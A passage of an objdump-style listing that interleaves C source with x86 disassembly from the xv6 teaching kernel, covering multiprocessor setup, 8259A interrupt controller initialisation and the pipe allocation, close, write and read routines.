80103e55 <mpinit+0x153> default: cprintf("mpinit: unknown config type %x\n", *p); 80103e31: 8b 45 f4 mov -0xc(%ebp),%eax 80103e34: 0f b6 00 movzbl (%eax),%eax 80103e37: 0f b6 c0 movzbl %al,%eax 80103e3a: 83 ec 08 sub $0x8,%esp 80103e3d: 50 push %eax 80103e3e: 68 28 8c 10 80 push $0x80108c28 80103e43: e8 7e c5 ff ff call 801003c6 <cprintf> 80103e48: 83 c4 10 add $0x10,%esp ismp = 0; 80103e4b: c7 05 24 3d 11 80 00 movl $0x0,0x80113d24 80103e52: 00 00 00 bcpu = &cpus[0]; if((conf = mpconfig(&mp)) == 0) return; ismp = 1; lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103e55: 8b 45 f4 mov -0xc(%ebp),%eax 80103e58: 3b 45 ec cmp -0x14(%ebp),%eax 80103e5b: 0f 82 02 ff ff ff jb 80103d63 <mpinit+0x61> default: cprintf("mpinit: unknown config type %x\n", *p); ismp = 0; } } if(!ismp){ 80103e61: a1 24 3d 11 80 mov 0x80113d24,%eax 80103e66: 85 c0 test %eax,%eax 80103e68: 75 1d jne 80103e87 <mpinit+0x185> // Didn't like what we found; fall back to no MP. ncpu = 1; 80103e6a: c7 05 20 43 11 80 01 movl $0x1,0x80114320 80103e71: 00 00 00 lapic = 0; 80103e74: c7 05 3c 3c 11 80 00 movl $0x0,0x80113c3c 80103e7b: 00 00 00 ioapicid = 0; 80103e7e: c6 05 20 3d 11 80 00 movb $0x0,0x80113d20 return; 80103e85: eb 3e jmp 80103ec5 <mpinit+0x1c3> } if(mp->imcrp){ 80103e87: 8b 45 e0 mov -0x20(%ebp),%eax 80103e8a: 0f b6 40 0c movzbl 0xc(%eax),%eax 80103e8e: 84 c0 test %al,%al 80103e90: 74 33 je 80103ec5 <mpinit+0x1c3> // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR 80103e92: 83 ec 08 sub $0x8,%esp 80103e95: 6a 70 push $0x70 80103e97: 6a 22 push $0x22 80103e99: e8 1c fc ff ff call 80103aba <outb> 80103e9e: 83 c4 10 add $0x10,%esp outb(0x23, inb(0x23) | 1); // Mask external interrupts. 80103ea1: 83 ec 0c sub $0xc,%esp 80103ea4: 6a 23 push $0x23 80103ea6: e8 f2 fb ff ff call 80103a9d <inb> 80103eab: 83 c4 10 add $0x10,%esp 80103eae: 83 c8 01 or $0x1,%eax 80103eb1: 0f b6 c0 movzbl %al,%eax 80103eb4: 83 ec 08 sub $0x8,%esp 80103eb7: 50 push %eax 80103eb8: 6a 23 push $0x23 80103eba: e8 fb fb ff ff call 80103aba <outb> 80103ebf: 83 c4 10 add $0x10,%esp 80103ec2: eb 01 jmp 80103ec5 <mpinit+0x1c3> struct mpproc *proc; struct mpioapic *ioapic; bcpu = &cpus[0]; if((conf = mpconfig(&mp)) == 0) return; 80103ec4: 90 nop // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. } } 80103ec5: c9 leave 80103ec6: c3 ret 80103ec7 <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 80103ec7: 55 push %ebp 80103ec8: 89 e5 mov %esp,%ebp 80103eca: 83 ec 08 sub $0x8,%esp 80103ecd: 8b 55 08 mov 0x8(%ebp),%edx 80103ed0: 8b 45 0c mov 0xc(%ebp),%eax 80103ed3: 66 89 55 fc mov %dx,-0x4(%ebp) 80103ed7: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103eda: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80103ede: 0f b7 55 fc movzwl -0x4(%ebp),%edx 80103ee2: ee out %al,(%dx) } 80103ee3: 90 nop 80103ee4: c9 leave 80103ee5: c3 ret 80103ee6 <picsetmask>: // Initial IRQ mask has interrupt 2 enabled (for slave 8259A). static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE); static void picsetmask(ushort mask) { 80103ee6: 55 push %ebp 80103ee7: 89 e5 mov %esp,%ebp 80103ee9: 83 ec 04 sub $0x4,%esp 80103eec: 8b 45 08 mov 0x8(%ebp),%eax 80103eef: 66 89 45 fc mov %ax,-0x4(%ebp) irqmask = mask; 80103ef3: 0f b7 45 fc movzwl -0x4(%ebp),%eax 80103ef7: 66 a3 00 c0 10 80 mov %ax,0x8010c000 outb(IO_PIC1+1, mask); 80103efd: 0f b7 45 fc movzwl -0x4(%ebp),%eax 80103f01: 0f b6 c0 movzbl %al,%eax 80103f04: 50 push %eax 80103f05: 6a 21 push $0x21 80103f07: e8 bb ff ff ff call 80103ec7 <outb> 80103f0c: 83 c4 08 add $0x8,%esp outb(IO_PIC2+1, mask >> 8); 80103f0f: 0f b7 45 fc movzwl -0x4(%ebp),%eax 80103f13: 66 c1 e8 08 shr $0x8,%ax 80103f17: 0f b6 c0 movzbl %al,%eax 80103f1a: 50 push %eax 80103f1b: 68 a1 00 00 00 push $0xa1 80103f20: e8 a2 ff ff ff call 80103ec7 <outb> 80103f25: 83 c4 08 add $0x8,%esp } 80103f28: 90 nop 80103f29: c9 leave 80103f2a: c3 ret 80103f2b <picenable>: void picenable(int irq) { 80103f2b: 55 push %ebp 80103f2c: 89 e5 mov %esp,%ebp picsetmask(irqmask & ~(1<<irq)); 80103f2e: 8b 45 08 mov 0x8(%ebp),%eax 80103f31: ba 01 00 00 00 mov $0x1,%edx 80103f36: 89 c1 mov %eax,%ecx 80103f38: d3 e2 shl %cl,%edx 80103f3a: 89 d0 mov %edx,%eax 80103f3c: f7 d0 not %eax 80103f3e: 89 c2 mov %eax,%edx 80103f40: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax 80103f47: 21 d0 and %edx,%eax 80103f49: 0f b7 c0 movzwl %ax,%eax 80103f4c: 50 push %eax 80103f4d: e8 94 ff ff ff call 80103ee6 <picsetmask> 80103f52: 83 c4 04 add $0x4,%esp } 80103f55: 90 nop 80103f56: c9 leave 80103f57: c3 ret 80103f58 <picinit>: // Initialize the 8259A interrupt controllers. void picinit(void) { 80103f58: 55 push %ebp 80103f59: 89 e5 mov %esp,%ebp // mask all interrupts outb(IO_PIC1+1, 0xFF); 80103f5b: 68 ff 00 00 00 push $0xff 80103f60: 6a 21 push $0x21 80103f62: e8 60 ff ff ff call 80103ec7 <outb> 80103f67: 83 c4 08 add $0x8,%esp outb(IO_PIC2+1, 0xFF); 80103f6a: 68 ff 00 00 00 push $0xff 80103f6f: 68 a1 00 00 00 push $0xa1 80103f74: e8 4e ff ff ff call 80103ec7 <outb> 80103f79: 83 c4 08 add $0x8,%esp // ICW1: 0001g0hi // g: 0 = edge triggering, 1 = level triggering // h: 0 = cascaded PICs, 1 = master only // i: 0 = no ICW4, 1 = ICW4 required outb(IO_PIC1, 0x11); 80103f7c: 6a 11 push $0x11 80103f7e: 6a 20 push $0x20 80103f80: e8 42 ff ff ff call 80103ec7 <outb> 80103f85: 83 c4 08 add $0x8,%esp // ICW2: Vector offset outb(IO_PIC1+1, T_IRQ0); 80103f88: 6a 20 push $0x20 80103f8a: 6a 21 push $0x21 80103f8c: e8 36 ff ff ff call 80103ec7 <outb> 80103f91: 83 c4 08 add $0x8,%esp // ICW3: (master PIC) bit mask of IR lines connected to slaves // (slave PIC) 3-bit # of slave's connection to master outb(IO_PIC1+1, 1<<IRQ_SLAVE); 80103f94: 6a 04 push $0x4 80103f96: 6a 21 push $0x21 80103f98: e8 2a ff ff ff call 80103ec7 <outb> 80103f9d: 83 c4 08 add $0x8,%esp // m: 0 = slave PIC, 1 = master PIC // (ignored when b is 0, as the master/slave role // can be hardwired). // a: 1 = Automatic EOI mode // p: 0 = MCS-80/85 mode, 1 = intel x86 mode outb(IO_PIC1+1, 0x3); 80103fa0: 6a 03 push $0x3 80103fa2: 6a 21 push $0x21 80103fa4: e8 1e ff ff ff call 80103ec7 <outb> 80103fa9: 83 c4 08 add $0x8,%esp // Set up slave (8259A-2) outb(IO_PIC2, 0x11); // ICW1 80103fac: 6a 11 push $0x11 80103fae: 68 a0 00 00 00 push $0xa0 80103fb3: e8 0f ff ff ff call 80103ec7 <outb> 80103fb8: 83 c4 08 add $0x8,%esp outb(IO_PIC2+1, T_IRQ0 + 8); // ICW2 80103fbb: 6a 28 push $0x28 80103fbd: 68 a1 00 00 00 push $0xa1 80103fc2: e8 00 ff ff ff call 80103ec7 <outb> 80103fc7: 83 c4 08 add $0x8,%esp outb(IO_PIC2+1, IRQ_SLAVE); // ICW3 80103fca: 6a 02 push $0x2 80103fcc: 68 a1 00 00 00 push $0xa1 80103fd1: e8 f1 fe ff ff call 80103ec7 <outb> 80103fd6: 83 c4 08 add $0x8,%esp // NB Automatic EOI mode doesn't tend to work on the slave. // Linux source code says it's "to be investigated". outb(IO_PIC2+1, 0x3); // ICW4 80103fd9: 6a 03 push $0x3 80103fdb: 68 a1 00 00 00 push $0xa1 80103fe0: e8 e2 fe ff ff call 80103ec7 <outb> 80103fe5: 83 c4 08 add $0x8,%esp // OCW3: 0ef01prs // ef: 0x = NOP, 10 = clear specific mask, 11 = set specific mask // p: 0 = no polling, 1 = polling mode // rs: 0x = NOP, 10 = read IRR, 11 = read ISR outb(IO_PIC1, 0x68); // clear specific mask 80103fe8: 6a 68 push $0x68 80103fea: 6a 20 push $0x20 80103fec: e8 d6 fe ff ff call 80103ec7 <outb> 80103ff1: 83 c4 08 add $0x8,%esp outb(IO_PIC1, 0x0a); // read IRR by default 80103ff4: 6a 0a push $0xa 80103ff6: 6a 20 push $0x20 80103ff8: e8 ca fe ff ff call 80103ec7 <outb> 80103ffd: 83 c4 08 add $0x8,%esp outb(IO_PIC2, 0x68); // OCW3 80104000: 6a 68 push $0x68 80104002: 68 a0 00 00 00 push $0xa0 80104007: e8 bb fe ff ff call 80103ec7 <outb> 8010400c: 83 c4 08 add $0x8,%esp outb(IO_PIC2, 0x0a); // OCW3 8010400f: 6a 0a push $0xa 80104011: 68 a0 00 00 00 push $0xa0 80104016: e8 ac fe ff ff call 80103ec7 <outb> 8010401b: 83 c4 08 add $0x8,%esp if(irqmask != 0xFFFF) 8010401e: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax 80104025: 66 83 f8 ff cmp $0xffff,%ax 80104029: 74 13 je 8010403e <picinit+0xe6> picsetmask(irqmask); 8010402b: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax 80104032: 0f b7 c0 movzwl %ax,%eax 80104035: 50 push %eax 80104036: e8 ab fe ff ff call 80103ee6 <picsetmask> 8010403b: 83 c4 04 add $0x4,%esp } 8010403e: 90 nop 8010403f: c9 leave 80104040: c3 ret 80104041 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80104041: 55 push %ebp 80104042: 89 e5 mov %esp,%ebp 80104044: 83 ec 18 sub $0x18,%esp struct pipe *p; p = 0; 80104047: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) *f0 = *f1 = 0; 8010404e: 8b 45 0c mov 0xc(%ebp),%eax 80104051: c7 00 00 00 00 00 movl $0x0,(%eax) 80104057: 8b 45 0c mov 0xc(%ebp),%eax 8010405a: 8b 10 mov (%eax),%edx 8010405c: 8b 45 08 mov 0x8(%ebp),%eax 8010405f: 89 10 mov %edx,(%eax) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 80104061: e8 2d cf ff ff call 80100f93 <filealloc> 80104066: 89 c2 mov %eax,%edx 80104068: 8b 45 08 mov 0x8(%ebp),%eax 8010406b: 89 10 mov %edx,(%eax) 8010406d: 8b 45 08 mov 0x8(%ebp),%eax 80104070: 8b 00 mov (%eax),%eax 80104072: 85 c0 test %eax,%eax 80104074: 0f 84 cb 00 00 00 je 80104145 <pipealloc+0x104> 8010407a: e8 14 cf ff ff call 80100f93 <filealloc> 8010407f: 89 c2 mov %eax,%edx 80104081: 8b 45 0c mov 0xc(%ebp),%eax 80104084: 89 10 mov %edx,(%eax) 80104086: 8b 45 0c mov 0xc(%ebp),%eax 80104089: 8b 00 mov (%eax),%eax 8010408b: 85 c0 test %eax,%eax 8010408d: 0f 84 b2 00 00 00 je 80104145 <pipealloc+0x104> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80104093: e8 ce eb ff ff call 80102c66 <kalloc> 80104098: 89 45 f4 mov %eax,-0xc(%ebp) 8010409b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010409f: 0f 84 9f 00 00 00 je 80104144 <pipealloc+0x103> goto bad; p->readopen = 1; 801040a5: 8b 45 f4 mov -0xc(%ebp),%eax 801040a8: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801040af: 00 00 00 p->writeopen = 1; 801040b2: 8b 45 f4 mov -0xc(%ebp),%eax 801040b5: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801040bc: 00 00 00 p->nwrite = 0; 801040bf: 8b 45 f4 mov -0xc(%ebp),%eax 801040c2: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801040c9: 00 00 00 p->nread = 0; 801040cc: 8b 45 f4 mov -0xc(%ebp),%eax 801040cf: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801040d6: 00 00 00 initlock(&p->lock, "pipe"); 801040d9: 8b 45 f4 mov -0xc(%ebp),%eax 801040dc: 83 ec 08 sub $0x8,%esp 801040df: 68 5c 8c 10 80 push $0x80108c5c 801040e4: 50 push %eax 801040e5: e8 2a 10 00 00 call 80105114 <initlock> 801040ea: 83 c4 10 add $0x10,%esp (*f0)->type = FD_PIPE; 801040ed: 8b 45 08 mov 0x8(%ebp),%eax 801040f0: 8b 00 mov (%eax),%eax 801040f2: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 801040f8: 8b 45 08 mov 0x8(%ebp),%eax 801040fb: 8b 00 mov (%eax),%eax 801040fd: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 80104101: 8b 45 08 mov 0x8(%ebp),%eax 80104104: 8b 00 mov (%eax),%eax 80104106: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 8010410a: 8b 45 08 mov 0x8(%ebp),%eax 8010410d: 8b 00 mov (%eax),%eax 8010410f: 8b 55 f4 mov -0xc(%ebp),%edx 80104112: 89 50 0c mov %edx,0xc(%eax) (*f1)->type = FD_PIPE; 80104115: 8b 45 0c mov 0xc(%ebp),%eax 80104118: 8b 00 mov (%eax),%eax 8010411a: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 80104120: 8b 45 0c mov 0xc(%ebp),%eax 80104123: 8b 00 mov (%eax),%eax 80104125: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80104129: 8b 45 0c mov 0xc(%ebp),%eax 8010412c: 8b 00 mov (%eax),%eax 8010412e: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80104132: 8b 45 0c mov 0xc(%ebp),%eax 80104135: 8b 00 mov (%eax),%eax 80104137: 8b 55 f4 mov -0xc(%ebp),%edx 8010413a: 89 50 0c mov %edx,0xc(%eax) return 0; 8010413d: b8 00 00 00 00 mov $0x0,%eax 80104142: eb 4e jmp 80104192 <pipealloc+0x151> p = 0; *f0 = *f1 = 0; if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) goto bad; if((p = (struct pipe*)kalloc()) == 0) goto bad; 80104144: 90 nop (*f1)->pipe = p; return 0; //PAGEBREAK: 20 bad: if(p) 80104145: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80104149: 74 0e je 80104159 <pipealloc+0x118> kfree((char*)p); 8010414b: 83 ec 0c sub $0xc,%esp 8010414e: ff 75 f4 pushl -0xc(%ebp) 80104151: e8 73 ea ff ff call 80102bc9 <kfree> 80104156: 83 c4 10 add $0x10,%esp if(*f0) 80104159: 8b 45 08 mov 0x8(%ebp),%eax 8010415c: 8b 00 mov (%eax),%eax 8010415e: 85 c0 test %eax,%eax 80104160: 74 11 je 80104173 <pipealloc+0x132> fileclose(*f0); 80104162: 8b 45 08 mov 0x8(%ebp),%eax 80104165: 8b 00 mov (%eax),%eax 80104167: 83 ec 0c sub $0xc,%esp 8010416a: 50 push %eax 8010416b: e8 e1 ce ff ff call 80101051 <fileclose> 80104170: 83 c4 10 add $0x10,%esp if(*f1) 80104173: 8b 45 0c mov 0xc(%ebp),%eax 80104176: 8b 00 mov (%eax),%eax 80104178: 85 c0 test %eax,%eax 8010417a: 74 11 je 8010418d <pipealloc+0x14c> fileclose(*f1); 8010417c: 8b 45 0c mov 0xc(%ebp),%eax 8010417f: 8b 00 mov (%eax),%eax 80104181: 83 ec 0c sub $0xc,%esp 80104184: 50 push %eax 80104185: e8 c7 ce ff ff call 80101051 <fileclose> 8010418a: 83 c4 10 add $0x10,%esp return -1; 8010418d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104192: c9 leave 80104193: c3 ret 80104194 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80104194: 55 push %ebp 80104195: 89 e5 mov %esp,%ebp 80104197: 83 ec 08 sub $0x8,%esp acquire(&p->lock); 8010419a: 8b 45 08 mov 0x8(%ebp),%eax 8010419d: 83 ec 0c sub $0xc,%esp 801041a0: 50 push %eax 801041a1: e8 90 0f 00 00 call 80105136 <acquire> 801041a6: 83 c4 10 add $0x10,%esp if(writable){ 801041a9: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 801041ad: 74 23 je 801041d2 <pipeclose+0x3e> p->writeopen = 0; 801041af: 8b 45 08 mov 0x8(%ebp),%eax 801041b2: c7 80 40 02 00 00 00 movl $0x0,0x240(%eax) 801041b9: 00 00 00 wakeup(&p->nread); 801041bc: 8b 45 08 mov 0x8(%ebp),%eax 801041bf: 05 34 02 00 00 add $0x234,%eax 801041c4: 83 ec 0c sub $0xc,%esp 801041c7: 50 push %eax 801041c8: e8 15 0d 00 00 call 80104ee2 <wakeup> 801041cd: 83 c4 10 add $0x10,%esp 801041d0: eb 21 jmp 801041f3 <pipeclose+0x5f> } else { p->readopen = 0; 801041d2: 8b 45 08 mov 0x8(%ebp),%eax 801041d5: c7 80 3c 02 00 00 00 movl $0x0,0x23c(%eax) 801041dc: 00 00 00 wakeup(&p->nwrite); 801041df: 8b 45 08 mov 0x8(%ebp),%eax 801041e2: 05 38 02 00 00 add $0x238,%eax 801041e7: 83 ec 0c sub $0xc,%esp 801041ea: 50 push %eax 801041eb: e8 f2 0c 00 00 call 80104ee2 <wakeup> 801041f0: 83 c4 10 add $0x10,%esp } if(p->readopen == 0 && p->writeopen == 0){ 801041f3: 8b 45 08 mov 0x8(%ebp),%eax 801041f6: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax 801041fc: 85 c0 test %eax,%eax 801041fe: 75 2c jne 8010422c <pipeclose+0x98> 80104200: 8b 45 08 mov 0x8(%ebp),%eax 80104203: 8b 80 40 02 00 00 mov 0x240(%eax),%eax 80104209: 85 c0 test %eax,%eax 8010420b: 75 1f jne 8010422c <pipeclose+0x98> release(&p->lock); 8010420d: 8b 45 08 mov 0x8(%ebp),%eax 80104210: 83 ec 0c sub $0xc,%esp 80104213: 50 push %eax 80104214: e8 84 0f 00 00 call 8010519d <release> 80104219: 83 c4 10 add $0x10,%esp kfree((char*)p); 8010421c: 83 ec 0c sub $0xc,%esp 8010421f: ff 75 08 pushl 0x8(%ebp) 80104222: e8 a2 e9 ff ff call 80102bc9 <kfree> 80104227: 83 c4 10 add $0x10,%esp 8010422a: eb 0f jmp 8010423b <pipeclose+0xa7> } else release(&p->lock); 8010422c: 8b 45 08 mov 0x8(%ebp),%eax 8010422f: 83 ec 0c sub $0xc,%esp 80104232: 50 push %eax 80104233: e8 65 0f 00 00 call 8010519d <release> 80104238: 83 c4 10 add $0x10,%esp } 8010423b: 90 nop 8010423c: c9 leave 8010423d: c3 ret 8010423e <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 8010423e: 55 push %ebp 8010423f: 89 e5 mov %esp,%ebp 80104241: 83 ec 18 sub $0x18,%esp int i; acquire(&p->lock); 80104244: 8b 45 08 mov 0x8(%ebp),%eax 80104247: 83 ec 0c sub $0xc,%esp 8010424a: 50 push %eax 8010424b: e8 e6 0e 00 00 call 80105136 <acquire> 80104250: 83 c4 10 add $0x10,%esp for(i = 0; i < n; i++){ 80104253: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 8010425a: e9 ad 00 00 00 jmp 8010430c <pipewrite+0xce> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || proc->killed){ 8010425f: 8b 45 08 mov 0x8(%ebp),%eax 80104262: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax 80104268: 85 c0 test %eax,%eax 8010426a: 74 0d je 80104279 <pipewrite+0x3b> 8010426c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104272: 8b 40 24 mov 0x24(%eax),%eax 80104275: 85 c0 test %eax,%eax 80104277: 74 19 je 80104292 <pipewrite+0x54> release(&p->lock); 80104279: 8b 45 08 mov 0x8(%ebp),%eax 8010427c: 83 ec 0c sub $0xc,%esp 8010427f: 50 push %eax 80104280: e8 18 0f 00 00 call 8010519d <release> 80104285: 83 c4 10 add $0x10,%esp return -1; 80104288: b8 ff ff ff ff mov $0xffffffff,%eax 8010428d: e9 a8 00 00 00 jmp 8010433a <pipewrite+0xfc> } wakeup(&p->nread); 80104292: 8b 45 08 mov 0x8(%ebp),%eax 80104295: 05 34 02 00 00 add $0x234,%eax 8010429a: 83 ec 0c sub $0xc,%esp 8010429d: 50 push %eax 8010429e: e8 3f 0c 00 00 call 80104ee2 <wakeup> 801042a3: 83 c4 10 add $0x10,%esp sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 801042a6: 8b 45 08 mov 0x8(%ebp),%eax 801042a9: 8b 55 08 mov 0x8(%ebp),%edx 801042ac: 81 c2 38 02 00 00 add $0x238,%edx 801042b2: 83 ec 08 sub $0x8,%esp 801042b5: 50 push %eax 801042b6: 52 push %edx 801042b7: e8 3b 0b 00 00 call 80104df7 <sleep> 801042bc: 83 c4 10 add $0x10,%esp { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801042bf: 8b 45 08 mov 0x8(%ebp),%eax 801042c2: 8b 90 38 02 00 00 mov 0x238(%eax),%edx 801042c8: 8b 45 08 mov 0x8(%ebp),%eax 801042cb: 8b 80 34 02 00 00 mov 0x234(%eax),%eax 801042d1: 05 00 02 00 00 add $0x200,%eax 801042d6: 39 c2 cmp %eax,%edx 801042d8: 74 85 je 8010425f <pipewrite+0x21> return -1; } wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801042da: 8b 45 08 mov 0x8(%ebp),%eax 801042dd: 8b 80 38 02 00 00 mov 0x238(%eax),%eax 801042e3: 8d 48 01 lea 0x1(%eax),%ecx 801042e6: 8b 55 08 mov 0x8(%ebp),%edx 801042e9: 89 8a 38 02 00 00 mov %ecx,0x238(%edx) 801042ef: 25 ff 01 00 00 and $0x1ff,%eax 801042f4: 89 c1 mov %eax,%ecx 801042f6: 8b 55 f4 mov -0xc(%ebp),%edx 801042f9: 8b 45 0c mov 0xc(%ebp),%eax 801042fc: 01 d0 add %edx,%eax 801042fe: 0f b6 10 movzbl (%eax),%edx 80104301: 8b 45 08 mov 0x8(%ebp),%eax 80104304: 88 54 08 34 mov %dl,0x34(%eax,%ecx,1) pipewrite(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ 80104308: 83 45 f4 01 addl $0x1,-0xc(%ebp) 8010430c: 8b 45 f4 mov -0xc(%ebp),%eax 8010430f: 3b 45 10 cmp 0x10(%ebp),%eax 80104312: 7c ab jl 801042bf <pipewrite+0x81> wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 80104314: 8b 45 08 mov 0x8(%ebp),%eax 80104317: 05 34 02 00 00 add $0x234,%eax 8010431c: 83 ec 0c sub $0xc,%esp 8010431f: 50 push %eax 80104320: e8 bd 0b 00 00 call 80104ee2 <wakeup> 80104325: 83 c4 10 add $0x10,%esp release(&p->lock); 80104328: 8b 45 08 mov 0x8(%ebp),%eax 8010432b: 83 ec 0c sub $0xc,%esp 8010432e: 50 push %eax 8010432f: e8 69 0e 00 00 call 8010519d <release> 80104334: 83 c4 10 add $0x10,%esp return n; 80104337: 8b 45 10 mov 0x10(%ebp),%eax } 8010433a: c9 leave 8010433b: c3 ret 8010433c <piperead>: int piperead(struct pipe *p, char *addr, int n) { 8010433c: 55 push %ebp 8010433d: 89 e5 mov %esp,%ebp 8010433f: 53 push %ebx 80104340: 83 ec 14 sub $0x14,%esp int i; acquire(&p->lock); 80104343: 8b 45 08 mov 0x8(%ebp),%eax 80104346: 83 ec 0c sub $0xc,%esp 80104349: 50 push %eax 8010434a: e8 e7 0d 00 00 call 80105136 <acquire> 8010434f: 83 c4 10 add $0x10,%esp while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80104352: eb 3f jmp 80104393 <piperead+0x57> if(proc->killed){ 80104354: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010435a: 8b 40 24 mov 0x24(%eax),%eax 8010435d: 85 c0 test %eax,%eax 8010435f: 74 19 je 8010437a <piperead+0x3e> release(&p->lock); 80104361: 8b 45 08 mov 0x8(%ebp),%eax 80104364: 83 ec 0c sub $0xc,%esp 80104367: 50 push %eax 80104368: e8 30 0e 00 00 call 8010519d <release> 8010436d: 83 c4 10 add $0x10,%esp return -1; 80104370: b8 ff ff ff ff mov $0xffffffff,%eax 80104375: e9 bf 00 00 00 jmp 80104439 <piperead+0xfd> } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 8010437a: 8b 45 08 mov 0x8(%ebp),%eax 8010437d: 8b 55 08 mov 0x8(%ebp),%edx 80104380: 81 c2 34 02 00 00 add $0x234,%edx 80104386: 83 ec 08 sub $0x8,%esp 80104389: 50 push %eax 8010438a: 52 push %edx 8010438b: e8 67 0a 00 00 call 80104df7 <sleep> 80104390: 83 c4 10 add $0x10,%esp piperead(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80104393: 8b 45 08 mov 0x8(%ebp),%eax 80104396: 8b 90 34 02 00 00 mov 0x234(%eax),%edx 8010439c: 8b 45 08 mov 0x8(%ebp),%eax 8010439f: 8b 80 38 02 00 00 mov 0x238(%eax),%eax 801043a5: 39 c2 cmp %eax,%edx 801043a7: 75 0d jne 801043b6 <piperead+0x7a> 801043a9: 8b 45 08 mov 0x8(%ebp),%eax 801043ac: 8b 80 40 02 00 00 mov 0x240(%eax),%eax 801043b2: 85 c0 test %eax,%eax 801043b4: 75 9e jne 80104354 <piperead+0x18> release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 801043b6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801043bd: eb 49 jmp 80104408 <piperead+0xcc> if(p->nread == p->nwrite) 801043bf: 8b 45 08 mov 0x8(%ebp),%eax 801043c2: 8b 90 34 02 00 00 mov 0x234(%eax),%edx 801043c8: 8b 45 08 mov 0x8(%ebp),%eax 801043cb: 8b 80 38 02 00 00 mov 0x238(%eax),%eax 801043d1: 39 c2 cmp %eax,%edx 801043d3: 74 3d je 80104412 <piperead+0xd6> break; addr[i] = p->data[p->nread++ % PIPESIZE]; 801043d5: 8b 55 f4 mov -0xc(%ebp),%edx 801043d8: 8b 45 0c mov 0xc(%ebp),%eax 801043db: 8d 1c 02 lea (%edx,%eax,1),%ebx 801043de: 8b 45 08 mov 0x8(%ebp),%eax 801043e1: 8b 80 34 02 00 00 mov 0x234(%eax),%eax 801043e7: 8d 48 01 lea 0x1(%eax),%ecx 801043ea: 8b 55 08 mov 0x8(%ebp),%edx 801043ed: 89 8a 34 02 00 00 mov %ecx,0x234(%edx) 801043f3: 25 ff 01 00 00 and $0x1ff,%eax 801043f8: 89 c2 mov %eax,%edx 801043fa: 8b 45 08 mov 0x8(%ebp),%eax 801043fd: 0f b6 44 10 34 movzbl 0x34(%eax,%edx,1),%eax 80104402: 88 03 mov %al,(%ebx) release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80104404: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80104408: 8b 45 f4 mov -0xc(%ebp),%eax 8010440b: 3b 45 10 cmp 0x10(%ebp),%eax 8010440e: 7c af jl 801043bf <piperead+0x83> 80104410: eb 01 jmp 80104413 <piperead+0xd7> if(p->nread == p->nwrite) break; 80104412: 90 nop addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup 80104413: 8b 45 08 mov 0x8(%ebp),%eax 80104416: 05 38 02 00 00 add $0x238,%eax 8010441b: 83 ec 0c sub $0xc,%esp 8010441e: 50 push %eax 8010441f: e8 be 0a 00 00 call 80104ee2 <wakeup> 80104424: 83 c4 10 add $0x10,%esp release(&p->lock); 80104427: 8b 45 08 mov 0x8(%ebp),%eax 8010442a: 83 ec 0c sub $0xc,%esp 8010442d: 50 push %eax 